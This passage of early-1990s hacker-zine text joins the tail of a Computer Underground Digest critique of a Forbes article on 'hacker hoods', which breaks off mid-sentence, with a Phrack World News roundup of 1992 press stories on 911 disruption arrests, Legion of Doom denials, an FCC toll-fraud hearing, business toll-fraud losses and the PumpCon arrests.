I also had a rather unpleasant exchange with Ms. McM. She was rude, abrasive, and was interested in obtaining the names of "hackers" who worked for or as "criminals." Her "angle" was clearly the hacker‑as‑demon. Her questions suggested that she did not understand the culture about which she was writing. She would ask questions and then argue about the answer, and was resistant to any "facts" or responses that failed to focus on "the hacker criminal." She dropped Emmanuel Goldstein's name in a way that I interpreted as indicating a closer relationship than she had‑‑an incidental sentence, but one not without import ‑‑ which I later discovered was either an inadvertently misleading choice of words or a deliberate attempt to deceptively establish credentials. She claimed she was an avowed civil libertarian. I asked why, then, she didn't incorporate some of those issues. She invoked publisher pressure. Forbes is a business magazine, she said, and the story should be of interest to readers. She indicated that civil liberties weren't related to "business." She struck me as exceptionally ill‑informed and not particularly good at soliciting information. She also left a post on Mindvox inviting "hackers" who had been contacted by "criminals" for services to contact her.

>Post: 150 of 161

>Subject: Hacking for Profit?

>From: forbes (Forbes Reporter)

>Date: Tue, 17 Nov 92 13:17:34 EST

>

>Hacking for Profit? Has anyone ever offered to pay you (or >a friend) to get into a certain system and alter, destroy or >retrieve information? Can you earn money hacking credit >card numbers, access codes or other information? Do you know >where to sell it? Then I'd like to hear from you. I'm >doing research for a magazine article. We don't need you >name. But I do want to hear your story. Please contact me >Forbes@mindvox.phantom.com.

However, apparently she wasn't over‑zealous about following up her post or reading the Mindvox conferences. When I finally agreed to send her some information about CuD, she insisted it be faxed rather than sent to Mindvox because she was rarely on it. Logs indicate that she made only six calls to the board, none of which occurred after November 24.

My own experience with the Forbes reporter was consistent with those of others. She emphasized "truth" and "fact‑checkers," but the story seems short on both. She emphasized explicitly that her story would *not* be sensationalistic. She implied that she wanted to focus on criminals and that the story would have the effect of presenting the distinction between "hackers" and real criminals. Another of her contacts also appeared to have the same impression. After our less‑than‑cordial discussion, she reported it to the contact, and he attempted to intercede on her behalf in the belief that her intent was to dispel many of the media inaccuracies about "hacking." If his interpretation is correct, then she deceived him as well, because her portrayal of him in the story was unfavorably misleading.

In CuD 4.45 (File #3), we ran Mike Godwin's article on "How to Talk to the Press," which should be required reading. His guidelines included:

1) TRY TO THINK LIKE THE REPORTER YOU'RE TALKING TO.

2) IF YOU'RE GOING TO MEET THE REPORTER IN PERSON, TRY TO BRING SOMETHING ON PAPER.

3) GIVE THE REPORTER OTHER PEOPLE TO TALK TO, IF POSSIBLE. 4) DON'T ASSUME THAT THE REPORTER WILL COVER THE STORY THE WAY YOU'D LIKE HER TO.

Other experienced observers contend that discussing "hacking" with the press should be avoided unless one knows the reporter well or if the reporter has established sufficient credentials as accurate and non‑sensationalist. Using these criteria, it will probably be a long while before any competent cybernaught again speaks to Brigid McMenamin.

The Story

Rather than present a coherent and factual story about the types of computer crime, the authors instead make "hackers" the focal point and use a narrative strategy that conflates all computer crime with "hackers."

The story implies that Len Rose is part of the "hacker hood" crowd. The lead reports Rose's prison experience and relates his feeling that he was "made an example of" by federal prosecutors. But, asks the narrative, if this is so, then why is the government cracking down? Whatever else one might think of Len Rose, no one ever has implied that he as a "playground bully" or "hacker hood." The story also states that 2600 Magazine editor Emmanuel Goldstein "hands copies <of 2600> out free of charge to kids. Then they get arrested." (p. 188‑a quote attributed to Don Delaney), and distorts (or fabricates) facts to fit the slant:

According to one knowledgeable source, another hacker brags that he recently found a way to get into Citibank's computers. For three months he says he quietly skimmed off a penny or so from each account. Once he had $200,000, he quit. Citibank says it has no evidence of this incident and we cannot confirm the hacker's story. But, says computer crime expert Donn Parker of consultants SRI International: "Such a 'salami attack' is definitely possible, especially for an insider" (p. 186).

Has anybody calculated how many accounts one would have to "skim" a few pennies from before obtaining $200,000? At a dime apiece, that's over 2 million. If I'm figuring correctly, at one minute per account, 60 accounts per minute nonstop for 24 hours a day all year, it would take nearly 4 straight years of online computer work for an out‑sider. According to the story, it took only 3 months. At 20 cents an account, that's over a million accounts.

Although no names or evidence are given, the story quotes Donn Parker of SRI as saying that the story is a "definite possibility." Over the years, there have been cases of skimming, but as I remember the various incidents, all have been inside jobs and few, if any, involved hackers. The story is suspiciously reminiscent of the infamous "bank cracking" article published in Phrack as a spoof several years ago.

The basis for the claim that "hacker hoods" (former "playground bullies") are now dangerous is based on a series of second and third‑hand rumors and myths. The authors then list from "generally reliable press reports" a half‑dozen or so non‑hacker fraud cases that, in context, would seem to the casual reader to be part of the "hacker menace." I counted in the article at least 24 instances of half‑truths, inaccuracies, distortions, questionable/spurious links, or misleading claims that are reminiscent of 80s media hype. For example, the article attributes to Phiber Optik counts in the MOD indictment that do not include him, misleads on the Len Rose indictment and guilty plea, uses second and third hand information as "fact" without checking the reliability, and presents facts out of context (such as attributing the Morris Internet worm to "hackers).

Featured as a key "hacker hood" is "Kimble," a German hacker said by some to be sufficiently media‑hungry and self‑serving that he is ostracized by other German hackers. His major crime reported in the story is hacking into PBXes. While clearly wrong, his "crime" hardly qualifies him for the "hacker hood/organized crime" danger that's the focus of the story. Perhaps he is engaged in other activities unreported by the authors, but it appears he is simply a run‑of‑the‑mill petty rip‑off artist. In fact, the authors do not make much of his crimes. Instead, they leap to the conclusion that "hackers" do the same thing and sell the numbers "increasingly" to criminals without a shred of evidence for the leap. To be sure the reader understands the menace, the authors also invoke unsubstantiated images of a hacker/Turkish Mafia connection and suggest that during the Gulf war, one hacker was paid "millions" to invade a Pentagon computer and retrieve information from a spy satellite (p. 186).

Criminals use computers for crime. Some criminals may purchase numbers from others. But the story paints a broader picture, and equates all computer crime with "hacking." The authors' logic seems to be that if a crime is committed with a computer, it's a hacking crime, and therefore computer crime and "hackers" are synonymous. The story ignores the fact that most computer crime is an "inside job" and it says nothing about the problem of security and how the greatest danger to computer systems is careless users.

One short paragraph near the end mentions the concerns about civil liberties, and the next paragraph mentions that EFF was formed to address these concerns. However, nothing in the article articulates the bases for these concerns. Instead, the piece promotes the "hacker as demon" mystique quite creatively.

The use of terms such as "new hoods on the block," "playground bullies," and "hacker hoods" suggests that the purpose of the story was to find facts to fit a slant.

In one sense, the authors might be able to claim that some of their "facts" were accurate. For example, the "playground bullies" phrase is attributed to Cheshire Catalyst. "Gee, *we* didn't say it!" But, they don't identify whether it's the original CC or not. The phrase sounds like a term used in recent internecine "hacker group" bickering, and if this was the context, it hardly describes any new "hacker culture." Even so, the use of the phrase would be akin to a critic of the Forbes article referring to it as the product of "media whores who are now getting paid for doing what they used to do for free," and then applying the term "whores" to the authors because, hey, I didn't make up the term, somebody else did, and I'm just reporting (and using it as my central metaphor) just the way it was told to me. However, I suspect that neither Forbes' author would take kindly to being called a whore because of the perception that they prostituted journalistic integrity for the pay‑off of a sexy story. And this is what's wrong with the article: The authors take rumors and catch‑phrases, "merely report" the phrases, but then construct premises around the phrases *as if* they were true with little (if any) evidence. They take an unconfirmed "truth" (where are fact checkers when you need them) or an unrelated "fact" (such as an example of insider fraud) and generalize from a discrete fact to a larger population. The article is an excellent bit of creative writing.

Why Does It All Matter?

Computer crime is serious, costly, and must not be tolerated. Rip‑off is no joke. But, it helps to understand a problem before it can be solved, and lack of understanding can lead to policies and laws that are not only ineffective, but also a threat to civil liberties. The public should be accurately informed of the dangers of computer crime and how it can be prevented. However, little will be served by creating demons and falsely attributing to them the sins of others. It is bad enough that the meaning" of the term "hacker" has been used to apply both to both computer delinquents and creative explorers without also having the label extended to include all other forms of computer criminals as well.

CPSR, the EFF, CuD, and many, many others have worked, with some success, to educate the media about both dangers of computer crime and the dangers of inaccurately reporting it and attributing it to "hackers." Some, perhaps most, reporters take their work seriously, let the facts speak to them, and at least make a good‑faith effort not to fit their "facts" into a narrative that‑‑by one authors' indication at least ‑‑ seems to have been predetermined.

Contrary to billing, there was no evidence in the story, other than questionable rumor, of "hacker" connection to organized crime. Yet, this type of article has been used by legislators and some law enforcement agents to justify a "crackdown" on conventional hackers as if they were the ultimate menace to society. Forbes, with a paid circulation of over 735,000 (compared to CuDs unpaid circulation of only 40,000), reaches a significant and influential population. Hysterical stories create hysterical images, and these create hysteria‑based laws that threaten the rights of law‑abiding users. When a problem is defined by irresponsibly produced images and then fed to the public, it becomes more difficult to overcome policies and laws that restrict rights in cyberspace.

The issue is not whether "hackers" are or are not portrayed favorably. Rather, the issue is whether images reinforce a witch‑hunt mentality that leads to the excesses of Operation Sun Devil, the Steve Jackson Games fiasco, or excessive sentences for those who are either law‑abiding or are set up as scapegoats. The danger of the Forbes article is that it contributes to the persecution of those who are stigmatized not so much for their acts, but rather for the signs

PWN/Part 3

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 13 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue 41 / Part 3 of 3 PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Boy, 15, Arrested After 911 Paralyzed By Computer Hacker October 7, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Caroline Mallan (The Toronto Star)(Page A22)

A 15‑year‑old boy has been arrested after a hacker pulling computer pranks paralyzed Metro's emergency 911 service.

Police with Metro's major crime unit investigated the origin of countless calls placed to the 911 service from mid‑July through last month.

The calls were routed to emergency services in the Etobicoke area, said Detective Willie Johnston, who led the investigation.

Phony medical emergency calls were reported and police, fire and ambulance crews were dispatched on false alarms. On one occasion, the computer hacker managed to tie up the entire 911 service in Metro ‑‑ making it unavailable for true emergencies.

Police were not sure last night how long the system was shut down for but Johnston said the period was considerable.

Staff Sergeant Mike Sale warned hackers that phony calls can be traced.

"A criminal abuse of the 911 emergency system will result in a criminal investigation and will result in an arrest," Sale said, adding police had only been investigating this hacker for a few weeks before they came up with a suspect.

Bell Canada investigators helped police to trace the origin of the calls and officers yesterday arrested a teen while he was in his Grade 11 class at a North York high school.

Two computers were seized from the boy's home and will be sent to Ottawa to be analyzed.

Johnston said police are concerned that other hackers may also be able to halt the 911 service, since the computer technology used was fairly basic, although the process of rerouting the calls from a home to the Etobicoke emergency lines was very complex.

The calls went via computer modem through two separate phone systems in major U.S. cities before being sent back to Canada, Johnston explained.

The suspect, who cannot be named under the Young Offenders Act, is charged with theft of telecommunications, 24 counts of mischief and 10 counts of conveying false messages.

He was released from custody and will appear in North York youth court November 6, police said.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Police Say They've Got Hackers' Number October 8, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Deverell (The Toronto Star)(Page A8)

Hackers, take note. Metro police and Ma Bell are going to get you.

A young North York computer freak accused of launching 10 false medical alerts to 911 this summer may have learned ‑‑ the hard way ‑‑ that his telephone tricks weren't beating the pros.

Police arrived with a search warrant at the home of the 15‑year‑old, arrested him and carted away his computer.

He's charged with 10 counts of conveying false messages, 24 counts of mischief, and theft of telecommunications.

Inspector Bill Holdridge, of 911 emergency services, said the false alarms in July and August never posed any technical problem to his switchboard but resulted in wild goose chases for the police, fire and ambulance services.

"Those resources weren't available for real alarms, which could have been a serious problem," Holdridge said.

The 911 service, quartered at 590 Jarvis Street, gets about 7,000 calls a day, of which 30% warrant some kind of emergency response.

Normally, a computerized tracing system takes only seconds to provide the address and number of the telephone from which a call originates ‑‑ unless the point of origin has been somehow disguised.

Apparently the 911 prankster got into the telephone system illegally and routed his calls through several U.S. networks before bringing them back to Toronto.

Detective Willie Johnston said the boy's parents were stunned when police arrived. "They really didn't have a clue what was going on," said Johnston.

The false emergencies reported were nowhere near the accused boy's home. "Without condoning it, you could understand it if he were sitting around the corner watching the flashing lights," said Johnston. "But they were miles away. It defies logic."

Neither Johnston nor Holdridge would explain how they and Bell security finally traced the false alarms. "That might just make other hackers try to figure out another way," Holdridge said.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Hackers Targeted 911 Systems, Police Say October 10, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from United Press International

Authorities expect to make more arrests after penetrating a loose network of computer hackers called the "Legion of Doom" they say tapped into corporate phone lines to call 911 systems nationwide with the intent of disrupting emergency services.

Prosecutors from Virginia, New Jersey and Maryland ‑‑ in conjunction with investigators from two telephone companies ‑‑ traced some of the hackers and closed in on three homes in two states.

A 23‑year‑old Newark, New Jersey man was arrested early on October 9th. He faces several charges, including fraud. Other arrests are expected in two Maryland locations.

The suspect, known by several aliases and identified by authorities only as Maverick, told investigators the group's intent was "to attempt to penetrate the 911 computer systems and infect them with viruses to cause havoc," said Captain James Bourque of the Chesterfield County police in Virginia.

The probe is just beginning, according to Bourque. "Quite honestly, I think it's only the tip of the iceberg," he said.

The hackers first penetrate the phone lines of large companies or pay phones, then use those connections to call 911 lines, Bourque said. The hackers usually make conference calls to other 911 services in other cities, tying up communications in several locations simultaneously.

"One time we were linked up with Toronto and Los Angeles jurisdictions," Bourque said. "And none of us could disconnect."

Sometimes as many five hackers would be on the line and would make false calls for help. Communications officers, unable to stop the calls, would have to listen, then try to persuade the officers in other locales "that the call wasn't real," Bourque said.

"Obviously, there's a real potential for disastrous consequences," he said.

One phone bill charged to a company in Minnesota indicated the scope of the problem. The company discovered in a 30‑day period that it had been charged with more than $100,000 in phone calls generated by the hackers, according to Bourque.

"I'm sure there are a multitude of other jurisdictions across the country having the same problems," Bourque said.

People identifying themselves as members of the "Legion of Doom" ‑‑ which also is the name of a pro wresting team ‑‑ have called a Richmond, Virginia television station and ABC in New York in an attempt to get publicity, Bourque said.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

More On 911 "Legion Of Doom" Hacking Case October 20, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Barbara E. McMullen & John F. McMullen (Newsbytes)

NEW YORK CITY ‑‑ In a discussion with Newsbytes, Sgt. Kurt Leonard of the Chesterfield County, Virginia Police Department has disclosed further information concerning the on‑going investigation of alleged 911 disruption throughout the eastern seaboard of the United States by individuals purporting to be members of the hacker group "The Legion of Doom" (LOD).

Leonard identified the individual arrested in Newark, New Jersey, previously referred to only as "Maverick," as Scott Maverick, 23. Maverick has been charged with terroristic threats, obstruction of a government function, and illegal access to a computer. He is presently out on bail.

Leonard said that David Pluchino, 22, was charged to the same counts as Maverick and an additional count of the possession of burglary tools. Leonard said that Pluchino, the subject of a 1990 Secret Service "search and seizure" action under the still on‑going "Operation SunDevil" investigation," possessed information linking him with members of the Legion of Doom.

The Legion of Doom connection has become the subject of controversy within the online community. Although Maverick has been quoted as saying that he is a member of the group and that the group's intent was "to attempt to penetrate the 911 computer systems and inflect them with viruses to cause havoc," members of the group have disavowed any connection with those arrested.

"Lex Luthor," one of the original members of the group, told Newsbytes when the initial report of the arrests became public: "As far as I am concerned the LOD has been dead for a couple of years, never to be revived. Maverick was never in LOD. There have been 2 lists of members (one in Phrack and another in the LOD tj) and those lists are the final word on membership."

He added, "We obviously cannot prevent copy‑cats from saying they are in LOD. When there was an LOD, our goals were to explore and leave systems as we found them. The goals were to expose security flaws so they could be fixed before REAL criminals and vandals such as this Maverick character could do damage. If this Maverick character did indeed disrupt E911 service he should be not only be charged with computer trespassing but also attempted murder. 911 is serious business."

Lex Luthor's comments, made before the names of the arrested were released, were echoed by Chris Goggans, aka "Erik Bloodaxe," and Mark Abene, aka "Phiber Optik," both ex‑LOD members, and by Craig Neidorf who chronicled the membership of LOD in his electronic publication "Phrack."

When the names of the arrested became public, Newsbytes again contacted Lex Luthor to see if the names were familiar. Luthor replied: "Can't add anything, I never heard of them."

Phiber Optik, a New York resident, told Newsbytes that he remembered Pluchino as a person that ran a computer "chat" system called "Interchat" based in New Jersey. "They never were LOD members and Pluchino was not known as a computer hacker. It sounds as though they were LOD wanabees who are now, by going to jail, going to get the attention they desire," he said.

A law enforcement official, familiar with the SunDevil investigation of Pluchino, agreed with Phiber, saying, "There was no indication of any connection with the Legion of Doom." The official, speaking under the condition of anonymity, also told Newsbytes that the SunDevil investigation of Pluchino is still proceeding and, as such, no comment can be made.

Leonard also told Newsbytes that the investigation has been a joint effort of New Jersey, Maryland, and Virginia police departments and said that, in conjunction with the October 9th 2:00 AM arrests of Pluchino and Maverick, a simultaneous "search and seizure" operation was carried out at the Hanover, Maryland home of Zohar Shif, aka "Zeke," a 23 year‑old who had also been the subject of a SunDevil search and seizure.

Leonard also said that, in addition to computers taken from Pluchino, material was found "establishing a link to the Legion of Doom." Told of the comments by LOD members that the group did not exist anymore, Leonard said "While the original members may have gone on to other things, these people say they are the LOD and some of them have direct connection to LOD members and have LOD materials."

Asked by Newsbytes to comment on Leonard's comments, Phiber Optik said "The material he's referring to is probably text files that have been floating around BBS's for years, Just because someone has downloaded the files certainly doesn't mean that they are or ever were connected with LOD."

________________________________________

Complaints On Toll Fraud Aired at FCC En Banc Hearing October 13, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Art Brodsky (Communications Daily)(Page 1)

Customers of PBX manufacturers told the Federal Communications Commission (FCC) they shouldn't be liable for toll fraud losses incurred because vendors never told them of capabilities of their equipment that left companies open to electronic theft. Their case was buttressed by one of country's leading tollfraud investigators, who told day‑long en banc hearing that customers shouldn't have to pay if they're victimized. Donald Delaney of the New York State Police said toll fraud "is the only crime I know where the victims are held liable." Toll fraud losses have been estimated to run into billions of dollars.

Commission's look at toll fraud came in context of what FCC can do to prevent or lessen problem. Comr. Marshall said Commission's job would be to apportion liability between vendors and customers. Comr. Duggan, who has been leader on issue at Commission, said toll fraud was "hidden degenerative disease on the body of business." He focused on insurance solution to problem, along with sharing of liability. There are cases pending at FCC filed by AT&T customers that deal with sharing of liability, and whether common carriers are protected by tariffs from paying customers for losses. Witnesses told Commission it was hard to find any law enforcement agency interested in problem, from local police to FBI, in addition to difficulties with vendors. U.S. Secret Service has statutory responsibility over toll fraud, said attorney William Cook, who testified in afternoon session. There was general agreement that more customer education was needed to prevent fraud, policy endorsed by Northern Telecom, which has active customer education program.

AT&T came in for particular criticism in morning session as users said company was insensitive to toll fraud problems. Thomas Mara, executive vice‑president Leucadia National Corp., whose company suffered $300,000 in toll fraud, said he "had a hell of a time getting anybody at AT&T to pay attention" to problems his company was encountering. Mara said his company saw level of 800 calls rise to 10,448 from 100. He said AT&T was supposed to notify users if there was any "dramatic increase in volume, yet we were not notified of a thousandfold increase in 800 number usage nor were we informed of an increase from a few hours a month in international calls to thousands of hours by AT&T, only after receiving our bills." Investigation found that 800 number connecting Rolm switch to company's voice mail was hackers' entry method, Mara said.

Clearly angry with AT&T, Mara said he has "a feeling they use it as a profit center." Lawrence Gessini, telecommunications director for Agway Corp. of Syracuse, agreed, saying: "Toll fraud should not become a rationale for higher profits for carriers." He told FCC that new programs introduced by long distance carriers won't solve problem because of constraints, limitations and expense.

Speaking for International Communications Association (ICA) user group, Gessini said problems occur because new technologies allow more types of fraud and because "old tariff concepts" that limit common carrier liability "distort market incentives." Vendors, he said, are "generally lackadaisical and are slow to correct even known problems in their hardware, firmware and software," and give low priority to complaints. ICA advocated 5 principles including FCC inquiry into fraud, creation of advisory committee and willingness of Commission to protect users.

Geoffrey Williams, industry consultant and telecommunications manager for IOMEGA Corp., said AT&T has been "most notable" for asking for restitution, while Sprint and MCI are more lenient. MCI doesn't charge users for first hacking incident, he said, but after that users are on their own.

AT&T defended itself in afternoon session, when International Collections Dist. Manager Peter Coulter rejected users' accusations, saying company had increased customer education program "dramatically" since last year. He insisted that AT&T is "very concerned" by toll fraud: "Contrary to what some people want to believe, no long distance carrier is making a profit off toll fraud." He said AT&T had 6,000 customers attend equipment security seminars in 1991, but that number had been exceeded in first 6 months of 1992. He said results of increased education program were "only preliminary" but his group was receiving "a lot more accommodations" than complaints from customers.

Coulter, while never admitting that company should shoulder any financial liability, admitted that "things are different now" as to how AT&T approaches toll fraud problem. He said that within AT&T it used to be hardware division vs. service division. "The hardware guys said it was a service problem, the service guys said it was the hardware's fault," Coulter said. But now both divisions are "working together on the problem . . . we're talking to each other."

Delaney of N.Y. state police gave the FCC a picture of the toll fraud situation dominated by as few as 15 practitioners, most of whom gain illegal entry to telephone systems simply by dialing numbers for hours on end. Those so‑called "finger hackers," rather than computer hackers, are responsible for 90% of fraud, he said, telling Commission that equipment vendors should be held accountable for fraud. Most fraudulent calls go to Pakistan, Colombia and Dominican Republic, he said.

Delaney pointed out practical objection to further vendor education problem, telling commissioners that for vendor to engage in education would also be to admit there could be problem with equipment security, something sales people don't want to do. He said some customers had been sold systems and didn't know they had capability for remote access ‑‑ means used by hackers to gain entry.

________________________________________

Hanging Up On Hackers October 12, 1992

~~~~~~~~~~~~~~~~~~~~~

by Miriam Leuchter (Crain's New York Business)(Page 21)

"Thieves tap phone systems, but business cuts the line."

Ron Hanley suspected a technical glitch when his company's telephone bill listed an unusually large number of calls lasting four seconds to its 800number from New York City. But the executive at Dataproducts New England in Wallingford, Connecticut didn't lose sleep over the problem ‑‑ until he got a call two months later from the security department at American Telephone & Telegraph Co.

Dataproducts had been hacked. Two days after that, Mr. Hanley got a bill confirming the bad news: In one 24‑hour period, street‑corner phone users in New York had made some 2,000 calls to the Caribbean on the company's line, ringing up about $50,000 in tolls.

Dataproducts is not alone. Estimates of the cost of telecommunications fraud in the United States each year run from $1 billion to as much as $9 billion. According to John J. Haugh, editor of Toll Fraud and Telabuse and chairman of a Portland, Oregon consulting firm, losses reached $4 billion in 1991 and are expected to climb 30% in 1992.

Some 35,000 businesses and other users ‑‑ such as foundations and government agencies ‑‑ will be hit this year. In the first six months, Mr. Haugh says, more than 900 New York City companies were victims of telephone‑related fraud.

"If you have a PBX system or calling cards or voice mail, you are vulnerable, exceedingly vulnerable," says Peggy Snyder, executive director of the Communications Fraud Control Association, a national information clearinghouse based in Washington. "As technology gets more user‑friendly, the opportunity to commit a crime is much greater."

Armed with computers, modems and sometimes automatic dialers or random‑number generating software, high‑technology thieves can use your telephone system as if it is their own ‑‑ without having to pay the tolls. The series of very short calls Mr. Hanley spotted on one phone bill should have tipped off his 800‑number service provider ‑‑ which he had alerted when he spotted the pattern ‑‑ that hackers were trying to break into his system.

Who are these hackers ‑‑ a term used to describe someone who uses a telephone or computer to obtain unauthorized access to other computers? Many are teenagers or young adults out to demonstrate their computer skills and make some mischief. Five young New Yorkers are awaiting trial in federal court on unauthorized access and interception of electronic communications charges in one widely publicized telephone fraud case.

A much smaller proportion are more serious criminals: drug dealers, money launderers and the like, who don't want their calls traced. In one case, Ms. Snyder cites a prostitution ring that employed unused voice mail extensions at one company to leave and receive messages from clients.

Many hackers have connections to call‑sell operators who set up shop at phone booths, primarily in poorer immigrant neighborhoods in cities from New York to Los Angeles. For a flat fee ‑‑ the going rate is $10, according to one source ‑‑ callers can phone anywhere in the world and talk as long as they want. The hawker at the phone booth pockets the cash and someone else pays the bill.

Perhaps 15 to 20 so‑called finger hackers (who crack authorization codes by hand dialing) distribute information to call‑sell operators at thousands of locations in New York. According to Don Delaney, a senior investigator for the New York State Police, the bulk of such calls from phone booths in the city go to the Dominican Republic, Pakistan and Colombia.

Hackers may use more than technical skill to gain the access they want. Sometimes they practice "social engineering" ‑‑ talking a company's employees into divulging information about the telephone system. Or they manage a credible imitation of an employee, pretending to be an employee.

In one of the latest schemes, a fraudulent caller gets into a company's system and asks the switchboard operator to connect him with an outside operator. The switchboard assumes the caller is an employee who wants to make a personal call on his own calling card.

Instead, he uses a stolen or hacked calling card number. The fraud goes undetected until the card's owner reports the unauthorized use to his longdistance carrier. If the cardholder refuses to pay the charges, the phone company traces the calls to the business from which they were placed. Because it looks as if the call came from the company, it is often held liable for the charge.

In another new twist, a hacker gains access to an unused voice mail extension at a company, or takes over someone's line at night or while the regular user is on vacation. He changes the recorded announcement to say, "Operator, this number will accept all collect and third‑party calls." Then the hacker ‑‑ or anyone else ‑‑ can telephone anywhere in the world and bill the charges to that extension.

Sometimes the fraud is much more organized and sophisticated, however. Robert Rasor, special agent in charge of the financial crime division of the U.S. Secret Service, gives an example of a three‑way calling scheme in which hackers tap into a phone system in the United States and set up a separate network that allows people in other countries to call each other directly. "The Palestinians are one of the more prominent groups" running these sorts of fraud, he says.

But no matter who the end user is, businesses like Dataproducts end up footing the bill. Personal users are generally not held liable for the unauthorized use of their calling card numbers. Under current regulation, a business is responsible for all calls that go through its equipment, whether or not those calls originated at the company.

This hard fact rankles Mr. Hanley. "It's totally frustrating and almost unbelievable that you're responsible for this bill. It's really frightening for any company."

Dataproducts's liability was relatively small compared with the $168,000 average Mr. Haugh calculated in a study he made last year. It could have been worse yet.

"The largest case I've ever seen in the metropolitan region was a company that lost almost $1 million within 30 days," says Alan Brill, managing director of the New York corporate security firm Kroll Associates Inc.

"It was a double whammy, because even though their long‑distance carrier saw a suspicious pattern of calls and blocked access to those area codes, the company didn't know its PBX system would automatically switch to another carrier if calls couldn't go through," Mr. Brill says. "So the company got a bill for $300,000 from its primary carrier and a $600,000 bill from the secondary carrier."

Both AT&T and Sprint Corp. offer service plans that limit liability to $25,000 per fraud episode for their business customers. Mr. Brill advises companies to evaluate the cost‑effectiveness of these plans in great detail, because in order to be eligible for coverage companies must take certain steps to minimize their risk. "If you reduce your risk significantly, you may not need the coverage," he says.

The plans require customers to respond to a problem in as little as two hours after notification of unauthorized calls. Doing so will stem your losses in any event. "You also have to think about how you're staffed," adds Mr. Brill. "Can you act that fast?"

________________________________________

PWN Quicknotes

~~~~~~~~~~~~~~

1. HACKER PARTY BUSTED (by Robert Burg, Gannett, 11/3/92) ‑‑ "PumpCon Popped!" ‑‑ WHITE PLAINS, New York ‑‑ Police say a Halloween party they broke up Sunday (11/1/92) was more than just a rowdy party ‑ it also was a computer hacker party.

Three men were charged with unauthorized use of a computer and attempting computer trespass. A fourth man was arrested on an outstanding warrant involving violating probation on a charge of computer fraud in Arizona, Greenburgh Detective Lt. Cornelius Sullivan said.

Security officers at the Westchester Marriott contacted police after noticing an unusual number of people entering and leaving one room. Police said that when they arrived, there were 21 people inside and computers hooked up to telephone lines. Police said they also found telephone credit cards that did not belong to any of the people present.

The three charged with unauthorized use of a computer and attempted computer trespass were Randy Sigman, 40, of Newington, Connecticut; Ronald G. Pinz, 21, of Wallingford, Connecticut and Byron Woodard, 18, of Woonsocket, Rhode Island.

They were being held at the Westchester County Jail in Valhalla pending arraignment.

The man charged on the warrant, Jason Brittain, 22, of Tucson, Arizona, was being held without bail pending arraignment.

The Westchester County District Attorney frauds division seized the computer hardware, software, and other electrical equipment.

Sullivan said the party‑goers heard about the party through computer bulletin boards.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2. COMPUTER ACCESS ARRESTS IN NEW YORK (Barbara E. McMullen & John F. McMullen, Newsbytes, 11/3/92) ‑‑ GREENBURGH, NEW YORK ‑‑ The Greenburgh, New York Police Department has announced the arrest of three individuals, Randy P. Sigman, 40; Ronald G. Pinz, Jr, 21; and Byron J. Woodard, 18 for the alleged crimes of Unauthorized Use Of A Computer and Attempted Computer Trespass, both misdemeanors. Also arrested was Jason A. Brittain, 22 in satisfaction of a State of Arizona Fugitive From Justice warrant.

The arrests took place in the midst of an "OctoberCon" or "PumpCon" party billed as a "hacker get‑together" at the Marriott Courtyard Hotel in Greenburgh. The arrests were made at approximately 4:00 AM on Sunday morning, November 1st. The three defendants arrested for computer crimes were granted $1,000 bail and will be arraigned on Friday, November 6th.

Newsbytes sources said that the get together, which had attracted up to sixty people, had dwindled to approximately twenty‑five when, at 10:00 Saturday night, the police, in response to noise complaints arrived and allegedly found computers in use accessing systems over telephone lines. The police held the twenty‑five for questioning and called in Westchester County Assistant District Attorney Kenneth Citarella, a prosecutor versed in computer crime, for assistance. During the questioning period, the information on Brittain as a fugitive from Arizona was obtained and at 4:00 the three alleged criminal trespassers and Brittain were charged.

Both Lt. DeCarlo of the Greenburgh police and Citarella told Newsbytes that the investigation is continuing and that no further information is available at this time.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

3. U.S. PRISON SENTENCE FOR COMPUTER HACKER (New York Law Journal, 10/15/92, Page 7) ‑‑ A Brooklyn man was sentenced yesterday to eight months in prison for buying passwords from a computer hacker group known as the "masters of deception" [MOD] for resale to others seeking access to confidential credit reports.

Morton Rosenfeld, 21, received the sentence in federal court in Manhattan after pleading guilty in June to obtaining the unauthorized access devices to computer data bases operated by TRW Information Services and other credit reporting companies.

The sentence, imposed by Southern District Judge Shirley Wohl Kram, is believed to be among few prison terms levied for computer‑related offenses.

Meanwhile, charges are pending against Mr. Rosenfeld's alleged source: the five members of the masters of deception, young men in their teens and 20's. The five were accused in July of breaking into computer systems run by credit reporting services, telephone companies and educational institutions.

For more information about the indictment and case against MOD, see ALL the articles in PWN 40‑2.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

4. 2ND ONLINE LEGAL GUIDE RELEASED (by Barbara E. McMullen & John F. McMullen, Newsbytes, 10/13/92) ‑‑ NEW YORK CITY ‑‑ PC Information Group has announced the release of SysLaw, Second Edition: The Legal Guide for Online Service Providers by attorneys Lance Rose and Jonathan Wallace.

According to the company, "Syslaw provides BBS sysops, network moderators and other online service providers with basic information on their rights and responsibilities, in a form that non‑lawyers can easily understand."

